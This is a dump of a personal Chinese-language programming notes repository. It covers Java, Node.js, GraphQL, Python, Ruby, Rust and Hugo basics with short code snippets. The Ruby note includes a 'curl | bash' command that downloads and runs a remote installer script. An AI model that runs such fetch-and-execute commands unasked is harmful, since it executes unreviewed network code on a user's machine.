22 | ## 特性
23 |
24 | - 封装(控制变量和方法,根据需求暴露接口)
25 | - 继承(复用父类的方法,重写父类的方法)
26 | - 多态(对象声明时指定对应的子类,就可以调用该子类的方法)
27 | - 一个引用(类型)在不同的情况下的多种状态。也可以理解为,多态是指通过指向父类的指针,来调用在不同子类中实现的方法。
28 | - 对多态的一个更广泛的定义,指的是可以处理多种类型数据的代码。
29 |
30 | ### Java反射机制
31 |
32 | - 参考 https://zhuanlan.zhihu.com/p/196524168
33 |
34 | - 需求:在代码运行之前,我们不确定将来会使用哪一种数据结构,只有在程序运行时才决定使用哪一个数据类。
35 |
36 | - 解决:JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。
37 |
38 | - 功能
39 |
40 | - 在运行时判断任意一个对象所属的类;
41 | - 在运行时构造任意一个类的对象;
42 | - 在运行时判断任意一个类所具有的成员变量和方法;
43 | - 在运行时调用任意一个对象的方法。
44 |
45 | - 运行时通过反射机制获取类
46 |
47 | ```java
48 | Class clazz = Class.forName("包名.类名小写");
49 | ```
50 |
--------------------------------------------------------------------------------
/language/java/interview.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-18
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 大学实习时的面试总结
8 |
9 | 1. 曾经:
10 | jsp + servlet(控制数据和业务逻辑) + javaBean
11 | jsp + servlet +
12 | DAO(vo(相当于javaBean),dao,impl(真实操作),proxy(可以进行额外操作:记录日志,方法前后),factory(可以进行单例模式的设置,可以根据值的传递实现不同的数据库操作))
13 | servlet调用factory获取proxy‘
14 | proxy实现dao接口,调用真实的操作对象impl
15 | impl 进行数据库的操作
16 |
17 | 2. 现在:
18 | MVC
19 | model:pojo+dao(接口)+mapper(放数据库操作语句,与dao接口对应\*.mapper文件)+service+ serviceImpl
20 | view:html
21 | controller
22 |
23 | 框架:SSM
24 | spring:
25 | IOC 控制反转,依赖注入。Spring中的IoC的实现原理就是工厂模式加反射机制。功能:进行所有对象的管理
26 | AOP 切面,事务的管理
27 |
28 | SpringMVC:
29 | 管理控制层
30 |
31 | MyBatis:
32 | 数据库持久层,消除JDBC代码
33 |
--------------------------------------------------------------------------------
/language/lua.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-30
3 | ---
4 |
5 | [TOC]
6 |
7 | 1. 第一个lua程序
8 | vim HelloWorld.lua
9 |
10 | ```lua
11 | print("Hello World!")
12 | ```
13 |
14 | lua HelloWorld.lua
15 |
--------------------------------------------------------------------------------
/language/nodejs/GraphQL.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | # GraohQL
8 |
9 | - 参考
10 |
11 | - https://github.com/graphql/graphiql
12 | - https://graphql.org/learn/
13 | - https://graphql.cn/
14 |
15 | - 数据传输风格
16 |
17 | - RPC
18 | - REST
19 | - GraphQL
20 |
21 | 1. 前端可以 一次性取取完所有需要的数据(可以获取多个接口的数据,可以选择性地获取接口中的字段)
22 |
23 | 2. 解决 前端产品快速迭代对API的更改。解决不同的客户端对数据的不同需求。
24 |
25 | 3. 使用强大的Type System来定义API的功能,所有的API中公开类型都是使用GraphQL
26 |
27 | ## SDL
28 |
29 | - schema Definition Language(SDL)该模式充当客户端和服务器之间的契约,以定义客户机如何访问数据。
30 | - query
31 | - mutation
32 | - subscription
33 |
34 | ### 查询
35 |
36 | ```graphql
37 | query {
38 | # 刷选id等于5的数据
39 | approvalForAlls(id: 5) {
40 | id
41 | owner
42 | operator
43 | approved
44 | }
45 | # first 读取100条数据
46 | # skip 跳过前1000条数据
47 | # orderBy 根据某个字段进行排序
48 | # orderDirection,desc倒序,abs正序,默认正序
49 | transfers(first: 100, skip: 1000, orderBy: tokenId, orderDirection: asc) {
50 | id
51 | from
52 | to
53 | tokenId
54 | }
55 | }
56 | ```
57 |
--------------------------------------------------------------------------------
/language/nodejs/grammar.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-07-05
3 | ---
4 |
5 | [TOC]
6 |
7 | # 语法
8 |
9 | ## 基本
10 |
11 | ```js
12 | // 去掉所有空格
13 | 字符串.replace(/\s/g,"")
14 |
15 |
16 | // 函数声明方式一
17 | function myFunction(p1, p2) {
18 | return p1 + p2;
19 | };
20 | // 函数声明方式二
21 | const myFunction = async (p1, p2) => {
22 | return p1 + p2;
23 | };
24 |
25 | // 立即执行
26 | (async () =>{
27 | await 函数名()
28 | })()
29 |
30 |
31 | // 返回触发事件的元素
32 | event.target
33 | ```
34 |
35 | ## 数据结构
36 |
37 | ### 数组
38 |
39 | ```js
40 | let array = new Array()
41 | array=[1 ,2 ,3]
42 | array.push(4) // 元素添加到尾部
43 | array.unshift(5) // 元素添加到头部
44 | array.shift() // 删除并返回头部元素
45 | array.pop() // 删除并返回尾部元素
46 | array.indexOf('') // 返回指定内容元素的下标,不存在则返回-1
47 | array。splice(index,索引) // 通过索引删除元素并返回此元素
48 | ```
49 |
50 | ### 字典
51 |
52 | ```js
53 | new Map()
54 | set()
55 | get()
56 | delete()
57 | ```
58 |
59 | ## 常用函数
60 |
61 | - forEach(),filter(), map(),reduce()
62 |
63 | ```js
64 | array = ['a','b']
65 | array.forEach((value, key )=>{
66 | console.log(value)
67 | })
68 | ```
69 |
70 | ## 回调地狱
71 |
72 | - 将回调函数处理成像“同步”处理的形式
73 | promise, async await
74 |
75 | ## 异常处理
76 |
77 | ```js
78 | try {
79 | console.log('我正在执行');
80 | // throw new Error('错误信息');
81 | } catch (e) {
82 | console.error(e.message);
83 | console.log('异常被捕获了,我现在还可以继续执行了');
84 | }
85 | ```
86 |
87 | ## 休眠
88 |
89 | ```js
90 | function sleep(ms) {
91 | return new Promise(resolve => setTimeout(() => resolve(), ms));
92 | };
93 | (async () =>{
94 | console.log(1)
95 | await sleep(2000);
96 | console.log(2)
97 | })()
98 | ```
99 |
100 | ## 其它
101 |
102 | 事件驱动\
103 | events.EventEmitter()\
104 | util.inherits(对象名 , events.EventEmitter);\
105 | readFile('路径',回调函数);
106 |
107 | .on\
108 | .emit
109 |
110 | IO操作\
111 | fs\
112 | 流\
113 | buffer\
114 | 管道操作 .pipe()
115 |
116 | # 例子
117 |
118 | ## 创建第一个Node.js应用
119 |
120 | 1. 引入required模块:使用require指令来载入Node.js模块。
121 | 2. 创建服务.
122 | 3. 通过监听接收请求与响应请求。
123 |
124 | ```js nodejss
125 | var http = require('http');
126 | http.createServer(function (request, response) {
127 | // 发送 HTTP 头部
128 | response.writeHead(200, {'Content-Type': 'text/plain'});
129 | // 发送响应数据 "Hello World"
130 | response.end('Hello World\n');
131 | }).listen(8888);
132 | // 终端打印如下信息
133 | console.log('Server running at http://127.0.0.1:8888/');
134 | ```
135 |
--------------------------------------------------------------------------------
/language/nodejs/mechanism.jpeg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/language/nodejs/mechanism.jpeg
--------------------------------------------------------------------------------
/language/nodejs/nodejs.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-08-23
3 | ---
4 |
5 | [TOC]
6 |
7 | # nodejs
8 |
9 | - 单线程异步IO机制
10 |
11 | - 为什么说nodejs是单线程的?
12 |
13 | - 因为nodejs只有主线程在执行代码,所有的网络请求(Socket)由主线程来执行代码,然后返回数据。涉及到代码外的操作(例如 请求第三方接口、数据库读取、文件读取),则非阻塞式交给线程池进行处理。
14 |
15 | ## 优缺点
16 |
17 | 1. 为什么说node.js是单线程高性能适合IO密集型的程序?
18 | 1. 只有主线程在不断地循环等待使用CPU进行运算,所有的运算操作都要排队,一一要交给主线程。
19 | 2. 每一次IO操作,node.js都可以进行异步操作,交给一个新的线程去执行。
20 | 2. 优点:
21 | - 高性能-避免了线程切换使用CPU所带来的各种开销。
22 | - 线程安全-变量只会被主线程读写。
23 | - IO异步。
24 | 3. 缺点
25 | - CPU密集型任务占用CPU时间长
26 | 4. 总而言之:IO操作是多线程的,CPU操作是单线程的。
27 |
28 | ## 闭包
29 |
30 | - 定义:一个函数作用域内 读取了 另一个函数作用域内 的变量。
31 | - 发生:只有在嵌套函数内才会出现闭包现象。
32 |
33 | 1. 使用场景
34 | 1. 设计私有的方法和变量。
35 | 2. 缺点
36 | 1. 变量不被释放,会产生内存泄露问题。
37 |
38 | ## Node应用管理器 pm2
39 |
40 | pm2 list
41 |
42 | ## CJS vs EMS
43 |
44 | ### 模块的加载
45 |
46 | - CommonJS Modules CJS模块系统,将每个文件都被视为一个单独的模块。
47 |
48 | - ECMAScript Modules ESM模块系统,是打包 JavaScript 代码以供重用的官方标准格式。使用 import 和 export 导入导出模块。
49 |
50 | - 配置
51 |
52 | - Node.js 默认将 JavaScript 代码视为 CommonJS 模块。
53 | - 可以通过.mjs 文件扩展名 或者 package.json 'type’字段,来默认将 JavaScript 代码视为 CommonJS 模块。
54 | ```json package.json
55 | {
56 | "type": "module",
57 | "dependencies": {
58 | "babel-core": "^6.26.3",
59 | "babel-preset-env": "^1.7.0",
60 | }
61 | }
62 | ```
63 |
64 | ```js
65 | // es3:
66 | var ethers = require(‘ethers’);
67 |
68 | // CJS模块化标准
69 | module.export = 变量名; // 导出方式一
70 | export { 变量名1, 变量名2 }; // 导出方式二
71 | const ethers = require(‘ethers’);
72 |
73 | // EMS/ES6模块化
74 | export default = { 变量名1, 变量名 } // 导出方式一
75 | export { 变量名1, 变量名2 }; // 导出方式二
76 | import { 变量名 } from ‘ethers’;
77 | import { 变量名 } from ‘./ethers.js’;
78 | import * as 变量名 from ‘ethers’;
79 | ```
80 |
81 | ### 其它
82 |
83 | - ESM 默认使用了严格模式,因此在 ES 模块中的`this`不再指向全局对象(而是 `undefined`),且变量在声明前无法使用。
84 |
85 | - ESM 缺乏 \_\_filename 和 \_\_dirname
86 |
87 | ## ts
88 |
89 | - nodejs环境下执行ts代码 https://github.com/TypeStrong/ts-node
90 |
--------------------------------------------------------------------------------
/language/nodejs/package.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 内置包
8 |
9 | ```js
10 | // base64加解密
11 | var b = new Buffer.from('JavaScript');
12 | var s = b.toString('base64');
13 |
14 | var b = new Buffer.from('编码后的base64字符串', 'base64')
15 | var s = b.toString();
16 |
17 | // 将字符串解析问json对象
18 | JSON.parse(json_string))
19 | // 将json对象解析为json字符串
20 | JSON.stringify(json_obj, null, 4)
21 |
22 | // 文件操作
23 | // var fs = require("fs")
24 | fs.writeFileSync("./1.html", "data")
25 |
26 | ```
27 |
28 | ## 第三方包 package
29 |
30 | 1. Dataloader
31 |
32 | - 是由facebook推出,能大幅降低数据库的访问频次,经常在Graphql场景中使用。
33 | - 主要通过2个机制来降低数据库的访问频次:批处理 和 缓存。
34 |
35 | 2. Knex.js
36 |
37 | - https://knexjs.org/
38 | - npm install knex && npm install mysql
39 | - Knex.js是为Postgres,MSSQL,MySQL,MariaDB,SQLite3,Oracle和Amazon Redshift设计的“包含电池”SQL查询构建器,其设计灵活,便于携带并且使用起来非常有趣。它具有传统的节点样式回调以及用于清洁异步流控制的承诺接口,流接口,全功能查询和模式构建器,事务支持(带保存点),连接池 以及不同查询客户和方言之间的标准化响应。
40 |
41 | 3. axios 接口请求包
42 |
43 | - npm install axios
44 | - https://github.com/axios/axios
45 |
46 | 4. exceljs
47 |
48 | - npm install exceljs
49 |
50 | 5. ini 读取ini格式的配置
51 |
52 | - npm install ini
53 |
54 | 6. nx 是一套功能强大、可扩展的开发工具,可帮助我们开发、测试、构建和扩展 Angular 应用程序,并完全集成支持 Jest、Cypress、ESLint、NgRx 等现代库。
55 |
56 | 7. winston 日志系统
57 |
58 | ### 区块链相关的
59 |
60 | 1. ethers.js
61 |
62 | - https://github.com/ethers-io/ethers.js
63 | - https://docs.ethers.io/v5/getting-started/#getting-started--contracts
64 | - 开发者是 Richard Moore,并由他来创建和维护库。Ethers.js 的目的是建立“一个完整、简单、小巧的库,取代 web3 和 ethereum.js
65 |
66 | 2. web3.js
67 |
68 | - https://github.com/ChainSafe/web3.js
69 | - 是由以太坊基金会构建的开源 JavaScript 库
70 |
71 | 3. hardhat.js
72 |
73 | - https://github.com/nomiclabs/hardhat
74 |
75 | #### ethers.js
76 |
77 | - Provider:是一个类,提供了一个抽象的到以太坊网络的连接。它提供对区块链及其状态的仅读取访问。
78 | - Signer:是一个类,以某种方式直接或间接地有权访问私人密钥,该密钥可以签署消息和交易,以授权网络向以太坊账户收取执行操作的费用。
79 | - Contract:代表以太坊网络上特定合约的连接,应用程序可以像普通 JavaScript 对象一样使用它。
80 |
--------------------------------------------------------------------------------
/language/php/php-extension.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/language/php/php-extension.jpg
--------------------------------------------------------------------------------
/language/php/php.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/language/php/php.jpg
--------------------------------------------------------------------------------
/language/python/ai.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-04-11
3 | ---
4 |
5 | [TOC]
6 |
7 | ## PyTorch
8 |
9 | - 定义
10 |
11 | - PyTorch是一个开源的Python机器学习库,基于Torch,用于自然语言处理等应用程序。
12 |
13 | - 来源
14 |
15 | - 2017年1月,由Facebook人工智能研究院(FAIR)基于Torch推出了PyTorch。
16 |
17 | - 功能
18 |
19 | - 它是一个基于Python的可续计算包,提供两个高级功能:
20 | 1. 具有强大的GPU加速的张量计算(如NumPy)。
21 | 2. 包含自动求导系统的深度神经网络。
22 |
23 | - 下载安装
24 |
25 | - https://pytorch.org/get-started/locally/
26 |
27 | ```py
28 | import torch
29 | print(torch.__version__) # 查看版本
30 | print(torch.version.cuda) # PyTorch 所依赖的 CUDA 版本
31 | print(torch.cuda.is_available()) # 查看 torch 是适用于当前主机的CUDA版本
32 | print(torch.cuda.get_device_name(0)) # 查看 GPU 名称
33 | ```
34 |
35 | ## TensorFlow
36 |
37 | - 定义
38 | - 一个开源的Python机器学习库。
39 | - 来源
40 | - 2015年,Google Brain发布。
41 |
42 | ## MSVC
43 |
44 | Microsoft C++ Build Tools
45 | https://visualstudio.microsoft.com/visual-cpp-build-tools/
46 |
--------------------------------------------------------------------------------
/language/python/grammar.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-07-05
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 基本数据类型:
8 |
9 | 1. 数字
10 | 2. 字符串
11 | 3. 列表:
12 | 1. 一个有序的、可变的集合,可以包含重复的元素。类似于数组,但比数组更灵活。
13 | 2. 例如: var_list = \[1,'12','abc',['a','123',1]\] 或者 li = list('abcde')
14 | 4. 元组:
15 | 1. 一个有序的、不可变的集合,可以包含重复的元素。
16 | 2. 例如: var_tuple = ('a','123',['a',123]) 或者 tuple('abcde')
17 | 5. 字典:
18 | 1. 一个无序的、可变的键值对集合。K-V键值对。
19 | 2. 例如: var_dict = {'a': 1, 'b': 2, 'b': '3'}
20 | 6. 集合:
21 | 1. 一种无序且不重复的元素集合,可变集合(set)和不可变集合(frozenset)。
22 | 2. 例如: var_set = {1, 2, 3, 4, 5}
23 |
24 | ## 基本语法
25 |
26 | ```python
27 | # __name__ 是当前模块名,当模块被直接运行时模块名为 __main__ 。当模块被直接运行时,代码将被运行,当模块是被导入时,代码不被运行。
28 | if __name__ == '__main__':
29 | print('-')
30 | ```
31 |
32 | ## 常用的内置包
33 |
34 | 1. json格式化
35 |
36 | ```bash
37 | echo '{"name": "lucy", "age": "18"}' | python -m json.tool
38 | ```
39 |
40 | 2. 解析文件中的unicode字符
41 |
42 | ```python
43 | python
44 | text = '\u4f60\u597d'
45 | print text.decode('unicode_escape')
46 | ```
47 |
48 | 3. 交互式输入密码
49 |
50 | ```python
51 | import getpass
52 |
53 | if __name__ == '__main__':
54 | passphrase = getpass.getpass("请输入密码")
55 | ```
56 |
57 | 4. 操作系统相关的操作
58 |
59 | ```python
60 | import os
61 | # 设置环境变量,设置代理 export http_proxy="http://127.0.0.1:1081"
62 | os.environ["http_proxy"] = "http://127.0.0.1:1081"
63 | os.environ["https_proxy"] = "http://127.0.0.1:1081"
64 | ```
65 |
66 | ## 常用的代码块
67 |
68 | ```py
69 | # 从.env文件读取变量,并将其设置为环境变量
70 | def import_env():
71 | if os.path.exists('.env'):
72 | print('Importing environment from .env...')
73 | for line in open('.env'):
74 | var = line.strip().split('=')
75 | if len(var) == 2:
76 | key, value = var[0].strip(), var[1].strip()
77 | os.environ[key] = value
78 | openai.api_key = os.environ.get('OPENAI_API_KEY')
79 | ```
80 |
--------------------------------------------------------------------------------
/language/python/python-scrape-instructor.docx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/language/python/python-scrape-instructor.docx
--------------------------------------------------------------------------------
/language/python/python.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ## Python
8 |
9 | - 目录结构
10 |
11 | - Lib
12 | - site-packages
13 | - Standard packages
14 | - Scripts
15 | - pip.exe
16 | - python.exe
17 |
18 | - 虚拟环境
19 |
20 | - 虚拟环境可以看作是原生Python的副本。
21 |
22 | ```bash
23 | venv_name="python_1_venv"
24 | python3 -m venv ~/devenv/${venv_name}
25 | source ~/devenv/${venv_name}/bin/activate
26 | ```
27 |
28 | ## 依赖包
29 |
30 | ```bash
31 | # 1. 获取当前python环境中所有已经被安装了的依赖包
32 | pip3 freeze > ./requirements.txt
33 | # 或者
34 | pip3 list
35 |
36 | # 2. 根据某一个项目的import语句来生成依赖
37 | # 在项目的根目录下,依次输入如下指令
38 | pip3 install pipreqs
39 | pipreqs ./
40 | # 执行完后,在这个项目下会生成一个requirements.txt文件,里面记录了该项目所用到的依赖
41 |
42 | # 3. 新环境下安装依赖包的模块
43 | pip3 install -r requirements.txt
44 | pip install -r requirements.txt --force-reinstall --no-cache-dir
45 | # --force-reinstall:强制重新安装所有包,即使已存在。
46 | # --no-cache-dir:避免使用缓存,确保从源下载最新版本。
47 | ```
48 |
49 | ## 编程思想
50 |
51 | ### 代码风格
52 |
53 | 1. PEP 8(Python Enhancement Proposal 8)是 Python 的官方代码风格指南,由 Guido van Rossum(Python 创始人)和 Barry Warsaw 于 2001 年 提出并正式发布。
54 | 2. 目的: 为 Python 开发者提供统一的代码风格标准,以提高代码的可读性和一致性。
55 | 3. 核心目标:
56 | 1. 一致性:所有 Python 代码遵循相同风格,降低认知负担。
57 | 2. 可读性:代码不仅是给机器执行的,更是给人阅读的。
58 | 3. 可维护性:统一的风格便于团队协作和长期维护。
59 | 4. 后续受影响的产品: Black,Ruff
60 |
61 | ```sh
62 | pip install black
63 | black your_file.py # 格式化单个文件
64 | black . # 格式化整个项目
65 | ```
66 |
67 | ```sh
68 | pip install ruff
69 | ruff check . # Lint 检查
70 | ruff check --fix # Lint 检查,并且进行自动修复
71 | ruff format . # 格式化代码
72 | ```
73 |
74 | ### Python语言服务器
75 | - Pylance
--------------------------------------------------------------------------------
/language/python/question.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2025-04-08
3 | ---
4 |
5 | [TOC]
6 |
7 | # 中级
8 |
9 | ## GIL
10 |
11 | 1. GIL(全局解释器锁)是 CPython 中的一个互斥锁,限制同一时刻只有一个线程执行 Python 字节码.
12 | 2. 目的:防止多线程竞争导致的内存管理问题。
13 | 3. 副作用:影响多线程性能,但不影响多进程。
14 |
15 | ## decorator
16 |
17 | 1. 是一种强大的语法特性,它允许在不修改原函数代码的情况下,动态增强函数的功能。
18 |
19 | 2. 示例:
20 |
21 | ```py
22 | def my_decorator(func):
23 | def wrapper():
24 | print("Before function")
25 | func()
26 | print("After function")
27 | return wrapper
28 |
29 | @my_decorator
30 | def say_hello():
31 | print("Hello!")
32 |
33 | say_hello()
34 | # 输出:
35 | # Before function
36 | # Hello!
37 | # After function
38 | ```
39 |
40 | ```py
41 | import time
42 | def timer(func):
43 | def wrapper(*args, **kwargs):
44 | start = time.time()
45 | result = func(*args, **kwargs)
46 | end = time.time()
47 | print(f"{func.__name__} 执行耗时: {end - start:.4f}s")
48 | return result
49 | return wrapper
50 |
51 | @timer # 等价于 heavy_calculation = timer(heavy_calculation)
52 | def heavy_calculation():
53 | time.sleep(2)
54 |
55 | heavy_calculation() # 输出: heavy_calculation 执行耗时: 2.0002s
56 | ```
57 |
58 | ```py
59 | # 装饰器参数化,需嵌套三层函数
60 | def timer(unit="s"): # 外层接收装饰器参数
61 | def decorator(func): # 中层接收被装饰函数
62 | @wraps(func)
63 | def wrapper(*args, **kwargs): # 内层处理逻辑
64 | start = time.time()
65 | result = func(*args, **kwargs)
66 | end = time.time()
67 | if unit == "ms":
68 | print(f"耗时: {(end - start) * 1000:.2f}ms")
69 | else:
70 | print(f"耗时: {end - start:.2f}s")
71 | return result
72 | return wrapper
73 | return decorator
74 |
75 | @timer(unit="ms") # 使用参数化装饰器
76 | def quick_task():
77 | time.sleep(0.1)
78 | ```
79 |
80 | ## 单例
81 |
82 | ```
83 | from threading import Lock
84 |
85 | class ThreadSafeSingleton:
86 | _instance = None
87 | _lock = Lock()
88 |
89 | def __new__(cls):
90 | # 快速返回已存在的实例,避免不必要的锁竞争
91 | if cls._instance is not None:
92 | return cls._instance
93 |
94 | # 只有实例不存在时才获取锁
95 | with cls._lock:
96 | # 再次检查防止多个线程同时通过第一次检查
97 | if cls._instance is None:
98 | cls._instance = super().__new__(cls)
99 | return cls._instance
100 | ```
101 |
102 | # 高级
103 |
104 | ## generator
105 |
106 | 1. 生成器(generator)是通过 yield 关键字实现的函数,逐个生成值而不是一次性返回所有值。
107 | 2. 优点: 节省内存,适合处理大数据。
108 |
109 | ## 多线程
110 |
111 | 1. 实现:使用 threading 模块实现多线程。
112 | 2. 劣势:由于 GIL 存在,CPU 密集型任务无法充分利用多核,适合 I/O 密集型任务。
113 |
114 | ## metaclass 不懂
115 |
--------------------------------------------------------------------------------
/language/python/tensorflow.txt:
--------------------------------------------------------------------------------
1 |
2 | 官网:
3 | https://www.tensorflow.org/install
4 | tensorflow2.0英文教程 https://tensorflow.google.cn/guide/effective_tf2
5 | tensorflow2.0中文教程 http://www.mashangxue123.com/tensorflow/tf2-guide-effective_tf2.html
6 |
7 | 一:基于pip安装tensorflow(cpu版):
8 | pip install --upgrade pip
9 | pip install tensorflow
10 | 安装中遇到的错误
11 | ERROR: Cannot uninstall 'wrapt'. It is a distutils installed project and thus we cannot accurately determine which files belong to it which would lead to only a partial uninstall.
12 | 解决办法
13 | pip install -U --ignore-installed wrapt enum34 simplejson netaddr
14 |
15 | 二:基于anaconda安装tensorflow
16 | 搜索版本
17 | anaconda search -t conda tensorflow
18 | 我选择了一个2.0.0版本源,输入如下命令查询安装命令
19 | anaconda show chuanqiw/tensorflow
20 | 安装tensorflow
21 | conda install --channel https://conda.anaconda.org/chuanqiw tensorflow
22 |
23 | 三:tensorflow基本操作:
24 | 1、 输入python 回车进入python环境中
25 | 2、 导入tensorflow
26 | import tensorflow as tf
27 | 3、 查看位置和版本号
28 | tf.__path__
29 | 4、 查看版本号
30 | tf.__version__
31 | 四:查看python版本
32 | import sys
33 | sys.version
34 | 五:Jupyter
35 | https://www.jianshu.com/p/c71325fc4239
36 |
37 | !jupyter kernelspec list
38 |
39 |
--------------------------------------------------------------------------------
/language/ruby.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2023-02-21
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 安装ruby
8 |
9 | - 文档
10 | - https://www.runoob.com/ruby/ruby-installation-unix.html
11 | - https://rvm.io/
12 |
13 | 1. 方式一 通过linux包管理器安装
14 |
15 | ```bash
16 | yum install ruby
17 | ```
18 |
19 | 2. 方式二 通过RVM版本管理安装ruby
20 |
21 | ```bash
22 | gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB
23 | curl -sSL https://get.rvm.io | bash -s stable
24 | source /etc/profile.d/rvm.sh
25 | # 或 source ~/.rvm/scripts/rvm
26 |
27 | rvm -v
28 | rvm list known # 列出本地已经安装的ruby版本
29 | rvm remove 2.5.7
30 | rvm list
31 | rvm install 3.2.1 # rvm install 2.6.4 --with-out-ext=fiddle
32 | rvm 2.5.7 --default
33 | ```
34 |
35 | ## ruby包管理器gem
36 |
37 | - 安装ruby时会自动安装gem
38 |
39 | ```
40 | gem install 包名
41 | gem list --local
42 | ```
43 |
44 | ## ruby依赖包版本管理器bundler
45 |
46 | ```bash
47 | # 安装ruby依赖包版本管理器bundler
48 | gem install bundler
49 | ```
50 |
51 | ## 第一个ruby程序
52 |
53 | - vim HelloWorld.rb
54 |
55 | ```ruby
56 | puts "Hello world"
57 | ```
58 |
59 | ruby HelloWorld.rb
60 |
--------------------------------------------------------------------------------
/language/rust/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-06-15
3 | ---
4 |
5 | [TOC]
6 |
7 | ## Rust学习
8 |
9 | - `rustup doc`文档的学习笔记
10 | 1. rustup 1.24.3 (ce5817a94 2021-05-31)
11 | 2. rustc 1.61.0 (fe5b13d68 2022-05-18)
12 | 3. cargo 1.61.0 (a028ae42f 2022-04-29)
13 |
14 | ## 目录
15 |
16 | 1. [Rust必看](./rust.md)
17 | 2. [基本语法](./grammar_1.md)
18 | 3. [进阶语法](./grammar_2.md)
19 | 4. [高级语法](./grammar_advanced.md)
20 | 5. [包管理与构建工具cargo](./cargo.md)
21 | 6. [标准库](./standad.md)
22 | 7. [常用的宝箱](./crate.md)
23 | 8. [错误与解决](./error.md)
24 | 9. [安全相关](./secure.md)
25 |
--------------------------------------------------------------------------------
/language/rust/common.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-09-05
3 | ---
4 |
5 | [TOC]
6 |
7 | ```rs
8 | // 一个字节向量 Vec 转换为String
9 | fn main1() {
10 | let bytes = vec![0x41, 0x42, 0x43];
11 | let s = String::from_utf8(bytes).expect("Found invalid UTF-8");
12 | println!("{}", s);
13 | }
14 | // 一个字节向量 [u8 ]转换为String
15 | fn main2() {
16 | let buf = &[0x41u8, 0x41u8, 0x42u8];
17 | let s = String::from_utf8_lossy(buf); // from_utf8_lossy将无效的UTF-8字节转换为 ,因此不需要进行错误处理。
18 | println!("result: {}", s);
19 | }
20 |
21 | // Vec 和 Box<[T]> 互转
22 | fn main3(){
23 | let v1 = vec![1, 2, 3, 4];
24 | let b1 = v1.into_boxed_slice(); // 从 Vec 转换成 Box<[T]>,此时会丢弃多余的 capacity
25 | let v2 = b1.into_vec(); // 从 Box<[T]> 转换成 Vec
26 | }
27 | ```
28 |
29 | ```rs
30 | // 迭代器迭代
31 | fn main(){
32 | let vec = vec!["a".to_owned(), "b".to_owned(), "c".to_owned(), "d".to_owned(), "f".to_owned()];
33 | let iter = vec.iter();
34 | let mut iter1 = iter.clone();
35 | let mut iter2 = iter.clone();
36 | let mut iter3 = iter.clone();
37 |
38 | println!("for iter"); // 迭代失败
39 | for element in &iter1.next() {
40 | println!("{:?}",element);
41 | }
42 |
43 | println!("loop iter");
44 | loop {
45 | match &iter2.next() {
46 | None => break,
47 | Some(element) => {
48 | println!("{:?}", element);
49 | }
50 | }
51 | }
52 |
53 | println!("while iter");
54 | while let Some(element) = &iter3.next() {
55 | println!("{:?}", element);
56 | }
57 | }
58 | ```
59 |
--------------------------------------------------------------------------------
/language/rust/error.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-01-29
3 | ---
4 |
5 | [TOC]
6 |
7 | 1. 错误一
8 |
9 | - cargo run时的错误
10 | ```log
11 | Blocking waiting for file lock on package cache
12 | ```
13 | - 解决办法
14 | ```bash
15 | rm ~/.cargo/.package-cache
16 | ```
17 |
--------------------------------------------------------------------------------
/language/rust/rust_gpu.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-08-21
3 | ---
4 |
5 | [TOC]
6 |
7 | - rust & gpu
8 |
9 | ##
10 |
11 | - GPU编程宝箱 https://www.arewelearningyet.com/gpu-computing/
12 |
--------------------------------------------------------------------------------
/language/rust/secure.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-06-15
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 溢出
8 |
9 | 1. 数字类型,debug模式编译运行时,运行状态溢出会报错,程序退出 `thread 'main' panicked at 'attempt to add with overflow'`
10 | 2. 数字类型,release模式编译运行时,运行状态溢出,程序正常运行
11 |
--------------------------------------------------------------------------------
/language/test.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-05-26
3 | ---
4 |
5 | [TOC]
6 |
7 | - 性能测试包含了两种:压力测试和基准测试。
8 | - 压力测试是针对接口 API,模拟大量用户去访问接口然后生成接口级别的性能数据.
9 | - 基准测试是针对代码,可以用来测试某一段代码的运行速度,例如一个排序算法。
10 |
--------------------------------------------------------------------------------
/language/zprojects/hugo.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-05
3 | ---
4 |
5 | [TOC]
6 |
7 | # HUGO
8 |
9 | ## 概念
10 |
11 | 1. Hugo是由Go语言实现的静态网站生成器。
12 | 2. 由 主题模板 和 markdown文章 编译生成静态网页。
13 | 3. 可以作为一个web服务器。
14 |
15 | ## 安装
16 |
